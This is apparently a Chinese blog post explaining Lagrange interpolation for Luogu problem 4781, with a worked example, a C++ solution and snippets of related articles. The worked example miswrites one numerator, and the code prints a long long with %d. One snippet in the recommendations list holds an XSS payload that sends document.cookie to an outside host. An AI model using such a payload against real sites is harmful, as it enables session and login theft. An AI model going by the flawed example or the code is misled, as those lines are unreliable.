题目背景

这是一道模板题

题目描述

由小学知识可知,nn个点(x_i,y_i)(xi​,yi​)可以唯一地确定一个多项式

现在,给定nn个点,请你确定这个多项式,并将kk代入求值

求出的值对998244353998244353取模

输入格式

第一行两个正整数n,kn,k,含义如题

接下来nn行,每行两个正整数x_i,y_ixi​,yi​,含义如题

输出格式

一个整数表示答案

输入阳历:

3 100
1 4
2 9
3 16

输出样例:

10201

所周知,n + 1n+1个xx坐标不同的点可以确定唯一的最高为nn次的多项式。在算法竞赛中,我们常常会碰到一类题目,题目中直接或间接的给出了n+1n+1个点,让我们求由这些点构成的多项式在某一位置的取值

一个最显然的思路就是直接高斯消元求出多项式的系数,但是这样做复杂度巨大(n^3)(n3)且根据算法实现不同往往会存在精度问题

而拉格朗日插值法可以在n^2n2的复杂度内完美解决上述问题

假设该多项式为f(x)f(x), 第ii个点的坐标为(x_i, y_i)(xi​,yi​),我们需要找到该多项式在kk点的取值

根据拉格朗日插值法

f(k) = \sum_{i = 0}^{n} y_i \prod_{i \not = j} \frac{k - x[j]}{x[i] - x[j]}f(k)=i=0∑n​yi​i̸=j∏​x[i]−x[j]k−x[j]​

乍一看可能不是很好理解,我们来举个例子理解一下

假设给出的三个点为(1, 3)(2, 7)(3, 13)(1,3)(2,7)(3,13)

直接把$f(k)展开$

f(k) = 3 \frac{(k - 2)(k - 3)}{(1 - 2)(1 - 3)} + 7\frac{(k-1)(k-2)}{(2 - 1)(2-3)} + 13\frac{(k-1)(k-2)}{(3 -1)(3-2)}f(k)=3(1−2)(1−3)(k−2)(k−3)​+7(2−1)(2−3)(k−1)(k−2)​+13(3−1)(3−2)(k−1)(k−2)​

观察不难得到,如果我们把x_ixi​带入的话,除第ii项外的每一项的分子中都会有x_i - x_ixi​−xi​,这样其他的所有项就都被消去了

因此拉格朗日插值法的正确性是可以保证的

代码:

#include<cstdio>
#include<iostream>
#include<cstdlib>
#include<cmath>
#define int long long
#define mod 998244353
const int N = 2050;
using namespace std;
inline int read()
{
int s=0,w=1;
char ch=getchar();
while(ch<'0'||ch>'9'){if(ch=='-')w=-1;ch=getchar();}
while(ch>='0'&&ch<='9'){s=s*10+ch-'0';ch=getchar();}
return s*w;
}
int power(int a,int b)
{
int res=1;
for(;b;b>>=1)
{
if(b&1)res=(res%mod*a%mod)%mod;
a=(a%mod*a%mod)%mod;
}
return res%mod;
}
int x[N],y[N],n,ans,v;
signed main()
{
n=read();
v=read();
for(int i=1;i<=n;i++)
{
x[i]=read();y[i]=read();
}
for(int i=1;i<=n;i++)
{
int k=1;
for(int j=1;j<=n;j++)if(i!=j)k=k*(x[i]+mod-x[j])%mod;
k=power(k,mod-2);
for(int j=1;j<=n;j++)
{
if(i!=j)k=k*(v+mod-x[j])%mod;
}
k=k*y[i]%mod;
ans=(ans+k)%mod;
}
printf("%d\n",ans);
return 0;
}

  

【luogu4781】拉格朗日插值的更多相关文章

  1. 【Luogu4781】【模板】拉格朗日插值

    [Luogu4781][模板]拉格朗日插值 题面 洛谷 题解 套个公式就好 #include<cstdio> #define ll long long #define MOD 998244 ...

  2. Educational Codeforces Round 7 F - The Sum of the k-th Powers 拉格朗日插值

    The Sum of the k-th Powers There are well-known formulas: , , . Also mathematicians found similar fo ...

  3. 常系数齐次线性递推 & 拉格朗日插值

    常系数齐次线性递推 具体记在笔记本上了,以后可能补照片,这里稍微写一下,主要贴代码. 概述 形式: \[ h_n = a_1 h_{n-1}+a_2h_{n-2}+...+a_kh_{n-k} \] ...

  4. 快速排序 and 拉格朗日插值查找

    private static void QuictSort(int[] zu, int left, int right) { if (left < right) { ; ; ]; while ( ...

  5. BZOJ3601 一个人的数论 莫比乌斯反演、高斯消元/拉格朗日插值

    传送门 题面图片真是大到离谱-- 题目要求的是 \(\begin{align*}\sum\limits_{i=1}^N i^d[gcd(i,n) == 1] &= \sum\limits_{i ...

  6. 【XSY1537】五颜六色的幻想乡 数学 生成树计数 拉格朗日插值

    题目大意 ​ 有一个\(n\)个点\(m\)条边的图,每条边有一种颜色\(c_i\in\{1,2,3\}\),求所有的包括\(i\)条颜色为\(1\)的边,\(j\)条颜色为\(2\)的边,\(k\) ...

  7. 【BZOJ2655】calc DP 数学 拉格朗日插值

    题目大意 ​ 一个序列\(a_1,\ldots,a_n\)是合法的,当且仅当: ​ 长度为给定的\(n\). ​ \(a_1,\ldots,a_n\)都是\([1,m]\)中的整数. ​ \(a_1, ...

  8. P4781 【模板】拉格朗日插值

    P4781 [模板]拉格朗日插值 证明 :https://wenku.baidu.com/view/0f88088a172ded630b1cb6b4.html http://www.ebola.pro ...

  9. BZOJ.2655.calc(DP/容斥 拉格朗日插值)

    BZOJ 洛谷 待补.刚刚政治会考完来把它补上了2333.考数学去了. DP: 首先把无序化成有序,选严格递增的数,最后乘个\(n!\). 然后容易想到令\(f_{i,j}\)表示到第\(i\)个数, ...

  10. BZOJ.4559.[JLOI2016]成绩比较(DP/容斥 拉格朗日插值)

    BZOJ 洛谷 为什么已经9点了...我写了多久... 求方案数,考虑DP... \(f[i][j]\)表示到第\(i\)门课,还有\(j\)人会被碾压的方案数. 那么\[f[i][j]=\sum_{ ...

随机推荐

  1. redis键空间通知(keyspace notification)

    一.需求 在redis中,设置好key和生存时间之后,希望key过期被删除时能够及时的发送一个通知告诉我key,以便我做后续的一些操作. 二.环境 系统:windows10 php:7.1 redis ...

  2. macos catalina安装python3

    之前跟着教程用brow安装了python3,后来发现电脑上有三个版本的python,头大. 于是用brew uninstall --force python3卸掉了python3 看到现在有两个版本 ...

  3. Java并发与多线程教程(2)

    Java同步块 Java 同步块(synchronized block)用来标记方法或者代码块是同步的.Java同步块用来避免竞争.本文介绍以下内容: Java同步关键字(synchronzied) ...

  4. Centos7 部署.net core2.1 详细步骤

    安装dotnet sdk(添加产品秘钥与yum源) 添加yum源:sudo rpm -Uvh https://packages.microsoft.com/config/rhel/7/packages ...

  5. Image 对象事件

    以前没怎么注意image上的事件 Image 对象事件 事件 描述 W3C onabort 当用户放弃图像的装载时调用的事件句柄. Yes onerror 在装载图像的过程中发生错误时调用的事件句柄. ...

  6. 0502 xss

    playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...

  7. 【python+beautifulsoup4】Python中安装bs4后,pycharm报错ModuleNotFoundError: No module named 'bs4'

    本文主要分享关于在对应python版本中安装beautifulsoup之后,在代码执行时还会提示“No module named 'bs4'”的问题. 安装beautifsoup4 在命令窗口执行 p ...

  8. 【leetcode】296.Best Meeting Point

    原题 A group of two or more people wants to meet and minimize the total travel distance. You are given ...

  9. 基于docker搭建elasticsearch集群

    es集群的搭建 - 基于单机搭建elasticsearch集群见官网 https://www.elastic.co/guide/en/elasticsearch/reference/current/d ...

  10. 01.Zabbix监控快速入门

    1.监控知识基本概述 1.为什么要使用监控 1.对系统不间断实时监控 2.实时反馈系统当前状态 3.保证服务可靠性安全性 4.保证业务持续稳定运行 2.如何进行监控,比如我们需要监控磁盘的使用率 1. ...